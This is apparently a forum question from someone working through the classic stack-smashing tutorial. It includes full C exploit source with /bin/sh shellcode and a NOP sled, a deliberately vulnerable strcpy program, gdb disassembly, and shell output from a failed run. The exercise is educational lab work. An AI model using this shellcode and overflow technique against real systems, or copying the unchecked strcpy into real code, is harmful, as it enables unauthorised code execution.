I am try to make buffer overflow and run shellcode to execute bin/sh
A good selection for our buffer size is about 100 bytes more than the size of the buffer we are trying to overflow. This will place our code at the end of the buffer we are trying to overflow, giving a lot of space for the NOPs, but still overwriting the return address with the address we guessed. The buffer we are trying to overflow is 512 bytes long, so we'll use 612.
exploit3.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1)
bsize = atoi(argv[1]);
if (argc > 2)
offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%lx\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff); system("/bin/bash");
}
vulnerable.c
#include <unistd.h>
#include <string.h>
int main(int argc, char *argv[])
{
char xbuff[512];
if(argc >1)
strcpy(xbuff, argv[1]);
return 0;
}
assembler code for function main
(gdb) disass main
Dump of assembler code for function main:
0x0804840b <+0>: lea 0x4(%esp),%ecx
0x0804840f <+4>: and $0xfffffff0,%esp
0x08048412 <+7>: pushl -0x4(%ecx)
0x08048415 <+10>: push %ebp
0x08048416 <+11>: mov %esp,%ebp
0x08048418 <+13>: push %ecx
0x08048419 <+14>: sub $0x204,%esp
0x0804841f <+20>: mov %ecx,%eax
0x08048421 <+22>: cmpl $0x1,(%eax)
0x08048424 <+25>: jle 0x8048441 <main+54>
0x08048426 <+27>: mov 0x4(%eax),%eax
0x08048429 <+30>: add $0x4,%eax
0x0804842c <+33>: mov (%eax),%eax
0x0804842e <+35>: sub $0x8,%esp
0x08048431 <+38>: push %eax
0x08048432 <+39>: lea -0x208(%ebp),%eax
0x08048438 <+45>: push %eax
0x08048439 <+46>: call 0x80482e0 <strcpy@plt>
0x0804843e <+51>: add $0x10,%esp
0x08048441 <+54>: mov $0x0,%eax
0x08048446 <+59>: mov -0x4(%ebp),%ecx
0x08048449 <+62>: leave
0x0804844a <+63>: lea -0x4(%ecx),%esp
0x0804844d <+66>: ret
End of assembler dump.
Program is executed, but bin/sh is not called:
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$
Expected output is:
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$ exit
[aleph1]$
Something wrong ??!!
Second question : Why does exploit3.c run system("/bin/bash") at the end of main()?